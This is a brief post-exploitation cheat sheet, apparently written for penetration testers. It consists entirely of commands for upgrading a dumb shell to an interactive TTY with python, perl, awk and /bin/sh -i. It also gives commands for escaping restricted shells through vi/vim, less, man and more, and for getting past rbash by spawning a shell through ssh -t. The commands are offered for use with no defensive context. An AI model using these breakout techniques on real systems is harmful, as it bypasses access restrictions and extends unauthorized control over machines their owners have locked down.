Upgrade and Escape Shells

Upgrade a dumb shell to a TTY

Try /bin/bash and /bin/sh in these:

python -c 'import pty;pty.spawn("/bin/sh")'
python -c 'import os; os.system("/bin/sh")'
/bin/sh -i
perl -e 'exec "/bin/sh";'
awk 'BEGIN {system("/bin/bash")}'

In a Perl script: exec "/bin/sh";

Escape a restricted shell

From inside vi/vim:

:!bash
:set shell=/bin/sh
:shell

From less, man, or more:

!bash
!sh

With awk:

awk 'BEGIN {system("/bin/bash")}'

If you hit -rbash on SSH login, append a spawn to the login itself:

ssh user@host -t "python -c 'import pty;pty.spawn(\"/bin/sh\")'"